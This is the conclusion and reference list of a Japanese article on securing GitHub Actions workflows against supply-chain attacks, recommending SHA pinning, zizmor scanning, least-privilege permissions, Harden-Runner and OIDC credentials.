本記事で解説した対策のうち、SHAピニング・クールダウン期間・zizmorスキャン・権限最小化の4点セットは、追加コストゼロで今日から実行できる。GitHub 2026ロードマップ(dependencies:セクション・Scoped Secrets・Native Egress Firewall)が普及するまでの3〜9ヶ月間、これらの対策が組織のCI/CDパイプラインを守る最前線となる。Native Egress Firewall到来まではHarden-Runnerで代替し、長期クレデンシャルはOIDCで段階的に置き換えていく——これが2026年現在の現実解だ。
セキュリティは「完璧」を目指すものではなく、攻撃のコストを上げ続けるゲームだ。まずはzizmor .github/workflows/で自組織のワークフローをスキャンし、pull_request_target + PR HEADチェックアウトの組み合わせがないか確認することから始めることをお勧めする。
参照ソース
- GitHub Actions侵害——相次ぐ事例を振り返り、次なる脅威に備える - Flatt Security — 2026年のTeamPCP連鎖攻撃(Trivy/LiteLLM/Telnyx/Checkmarx KICS)の総括スライド
- Threat Brief: Coinbase, tj-actions/changed-files, and reviewdog Supply Chain Attack - Palo Alto Unit42 — Coinbaseを最終標的としたカスケード攻撃チェーンの調査レポート(CVE-2025-30066/30154)
- What’s coming to our GitHub Actions 2026 security roadmap - GitHub Blog —
dependencies:セクション、Scoped Secrets、Native Egress Firewall等の公式ロードマップ - GitHub Actions is the weakest link - Andrew Nesbitt — GitHub Actionsがオープンソースサプライチェーンの最弱点である構造的理由の分析
- GitHub Actions Security Guide - Wiz Blog — Wiz社による過去4年間のGitHub Actionsセキュリティ研究の総括レポート
- Security hardening for GitHub Actions - GitHub Docs — GitHub公式のセキュリティハードニングガイド
- zizmor - GitHub Actions Static Analysis — GitHub Actionsワークフローの静的解析ツール(Rust製)
- Harden-Runner - StepSecurity — Runner egress制御のサードパーティ製ランタイム保護